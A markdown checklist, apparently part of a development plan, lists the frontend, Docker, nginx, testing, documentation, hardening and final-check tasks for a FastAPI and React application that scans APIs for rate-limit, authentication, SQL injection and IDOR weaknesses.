- [ ] Add ProtectedRoute wrapper component to App.tsx
- [ ] Add Routes for /, /scan, /history (all protected) to App.tsx
- [ ] Add Layout wrapper for protected routes in App.tsx
- [ ] Create `frontend/src/main.tsx` entry point
- [ ] Add QueryClientProvider to main.tsx
- [ ] Add BrowserRouter to main.tsx
- [ ] Import theme.css in main.tsx
- [ ] Import index.css in main.tsx
- [ ] Create `frontend/src/styles/index.css` with global styles
- [ ] Add CSS reset/normalize to index.css
- [ ] Add global font families to index.css
- [ ] Add global box-sizing to index.css
- [ ] Update `frontend/index.html` with app title and meta tags
---
## 🐳 DOCKER CONFIGURATION
### Docker Files - `/conf/`
- [ ] Create `conf/Dockerfile.backend`
- [ ] Add Python 3.11-slim base image to Dockerfile.backend
- [ ] Add WORKDIR /app to Dockerfile.backend
- [ ] Add requirements.txt COPY and pip install to Dockerfile.backend
- [ ] Add application code COPY to Dockerfile.backend
- [ ] Add EXPOSE 8000 to Dockerfile.backend
- [ ] Add CMD with uvicorn to Dockerfile.backend
- [ ] Create `conf/Dockerfile.frontend`
- [ ] Add Node 20-alpine base image to Dockerfile.frontend
- [ ] Add WORKDIR /app to Dockerfile.frontend
- [ ] Add package.json COPY and npm ci to Dockerfile.frontend
- [ ] Add application code COPY to Dockerfile.frontend
- [ ] Add EXPOSE 5173 to Dockerfile.frontend
- [ ] Add CMD with npm run dev to Dockerfile.frontend
- [ ] Create `conf/nginx.conf`
- [ ] Add events block with worker_connections to nginx.conf
- [ ] Add upstream backend block to nginx.conf
- [ ] Add upstream frontend block to nginx.conf
- [ ] Add server block listening on port 80 to nginx.conf
- [ ] Add location / proxy to frontend in nginx.conf
- [ ] Add location /api proxy to backend in nginx.conf
- [ ] Add WebSocket upgrade headers to nginx.conf
### Docker Compose
- [ ] Create `docker-compose.yml` at project root
- [ ] Add PostgreSQL 16-alpine service to docker-compose.yml
- [ ] Configure postgres environment variables (user, password, db)
- [ ] Add postgres port mapping 5432:5432
- [ ] Add postgres volume for data persistence
- [ ] Add postgres healthcheck
- [ ] Add backend service to docker-compose.yml
- [ ] Configure backend build context and Dockerfile path
- [ ] Add backend environment variables (DATABASE_URL, SECRET_KEY, DEBUG)
- [ ] Add backend port mapping 8000:8000
- [ ] Add backend depends_on db with health condition
- [ ] Add backend volume for hot reload
- [ ] Add backend command with --reload flag
- [ ] Add frontend service to docker-compose.yml
- [ ] Configure frontend build context and Dockerfile path
- [ ] Add frontend environment variable VITE_API_URL
- [ ] Add frontend port mapping 5173:5173
- [ ] Add frontend volumes (code + node_modules)
- [ ] Add frontend command with --host flag
- [ ] Add nginx service to docker-compose.yml (production profile)
- [ ] Configure nginx port 80:80
- [ ] Add nginx volume for config file
- [ ] Add nginx depends_on backend and frontend
- [ ] Define postgres_data volume at bottom of docker-compose.yml
### Environment Configuration
- [ ] Create `.env` file at project root (copy from .env.example)
- [ ] Set SECRET_KEY in .env (generate random key)
- [ ] Set DEBUG=true for development in .env
- [ ] Set DATABASE_URL in .env
- [ ] Create `frontend/.env` file
- [ ] Set VITE_API_URL=http://localhost:8000 in frontend/.env
---
## 🧪 TESTING
### Backend Testing
- [ ] Create `backend/tests/__init__.py`
- [ ] Create `backend/tests/conftest.py` with pytest fixtures
- [ ] Add test database fixture to conftest.py
- [ ] Add test client fixture to conftest.py
- [ ] Create `backend/tests/test_auth_service.py`
- [ ] Add test for user registration in test_auth_service.py
- [ ] Add test for user login in test_auth_service.py
- [ ] Add test for duplicate email in test_auth_service.py
- [ ] Create `backend/tests/test_scan_service.py`
- [ ] Add test for successful scan in test_scan_service.py
- [ ] Add test for concurrent scanner execution in test_scan_service.py
- [ ] Create `backend/tests/test_scanners/` directory
- [ ] Add test for rate limit scanner
- [ ] Add test for auth scanner
- [ ] Add test for SQLi scanner
- [ ] Add test for IDOR scanner
- [ ] Create `backend/tests/test_routes/` directory
- [ ] Add test for auth endpoints
- [ ] Add test for scan endpoints
### Frontend Testing
- [ ] Install vitest, @testing-library/react, @testing-library/user-event
- [ ] Create `frontend/vitest.config.ts`
- [ ] Create `frontend/src/tests/setup.ts` with testing setup
- [ ] Create `frontend/src/components/__tests__/` directory
- [ ] Add Button component tests
- [ ] Add Input component tests
- [ ] Add LoginForm tests
- [ ] Add ScanConfigForm tests
- [ ] Create `frontend/src/hooks/__tests__/` directory
- [ ] Add useAuth hook tests
- [ ] Add useScan hook tests
---
## 📚 DOCUMENTATION
### README Files
- [ ] Create comprehensive root `README.md`
- [ ] Add project overview to README
- [ ] Add features list to README
- [ ] Add tech stack to README
- [ ] Add quick start guide to README
- [ ] Add Docker setup instructions to README
- [ ] Add local development setup to README
- [ ] Add API documentation link to README
- [ ] Add contribution guidelines to README
- [ ] Add license to README
- [ ] Create `backend/README.md` with backend-specific docs
- [ ] Create `frontend/README.md` with frontend-specific docs
### Code Documentation
- [ ] Add docstrings to all backend functions/classes
- [ ] Add JSDoc comments to all frontend functions/components
- [ ] Add inline comments for complex logic in backend
- [ ] Add inline comments for complex logic in frontend
### API Documentation
- [ ] Verify FastAPI auto-generated docs at /api/docs work
- [ ] Verify ReDoc at /api/redoc works
- [ ] Create Postman/Insomnia collection for API testing (optional)
---
## 🚀 DEPLOYMENT PREPARATION
### Production Configuration
- [ ] Create production `.env.example` with secure defaults
- [ ] Add HTTPS configuration to nginx.conf (commented out)
- [ ] Add Gunicorn configuration for backend
- [ ] Add production build script to frontend package.json
- [ ] Create production docker-compose.prod.yml
- [ ] Add health check endpoints to backend
- [ ] Add frontend build optimization in vite.config.ts
### Security Hardening
- [ ] Add rate limiting to FastAPI backend
- [ ] Add CORS whitelist for production
- [ ] Add CSP headers to nginx
- [ ] Add security headers to nginx (X-Frame-Options, etc.)
- [ ] Add input sanitization to frontend
- [ ] Verify JWT expiration works correctly
- [ ] Verify password hashing uses bcrypt
---
## ✅ FINAL CHECKS
### Code Quality
- [ ] Run pylint/ruff on backend code
- [ ] Run ESLint on frontend code
- [ ] Run Prettier on frontend code
- [ ] Format backend code with yapf/black
- [ ] Check all type hints in backend
- [ ] Check all TypeScript types in frontend
- [ ] Verify no `any` types in frontend
- [ ] Verify no magic numbers/strings in backend
- [ ] Verify no magic numbers/strings in frontend
### Functionality Testing
- [ ] Test user registration flow end-to-end
- [ ] Test user login flow end-to-end
- [ ] Test JWT token expiration and refresh
- [ ] Test rate limit scanner against test API
- [ ] Test auth scanner against test API
- [ ] Test SQLi scanner against test API
- [ ] Test IDOR scanner against test API
- [ ] Test scan history retrieval
- [ ] Test scan results display
- [ ] Test export functionality (if implemented)
- [ ] Test responsive design on mobile
- [ ] Test responsive design on tablet
- [ ] Test responsive design on desktop
### Performance
- [ ] Check backend API response times
- [ ] Check frontend initial load time
- [ ] Verify lazy loading works for routes
- [ ] Verify TanStack Query caching works
- [ ] Check database query performance
- [ ] Add indexes to database tables if needed
### Git & GitHub
- [ ] Initialize git repository
- [ ] Create `.gitignore` (node_modules, .env, __pycache__, etc.)
- [ ] Make initial commit
- [ ] Create GitHub repository
- [ ] Push to GitHub
- [ ] Add repository description
- [ ] Add repository topics/tags
- [ ] Create LICENSE file
- [ ] Add screenshots to README
- [ ] Add demo GIF/video to README
---
## 📊 PROJECT METRICS
**Total Tasks:** 390+
**Estimated Time:** 8-12 hours
**Completed:** 0%
---
## 🎯 PRIORITY ORDER (What to Build First)
1. **Backend Foundation** (config, core, models, schemas)
2. **Backend Repositories & Services** (data + business logic)
3. **Backend Routes** (API endpoints)
4. **One Scanner** (rate limit - simplest)
5. **Frontend Foundation** (config, types, services)
6. **Frontend Auth** (login/register pages)
7. **Frontend Scan Page** (form + results)
8. **Remaining Scanners** (auth, SQLi, IDOR)
9. **Docker Setup** (get everything running together)
10. **Testing & Polish** (tests, docs, final touches)
---
**Last Updated:** 2025-11-08
**Current Phase:** Setup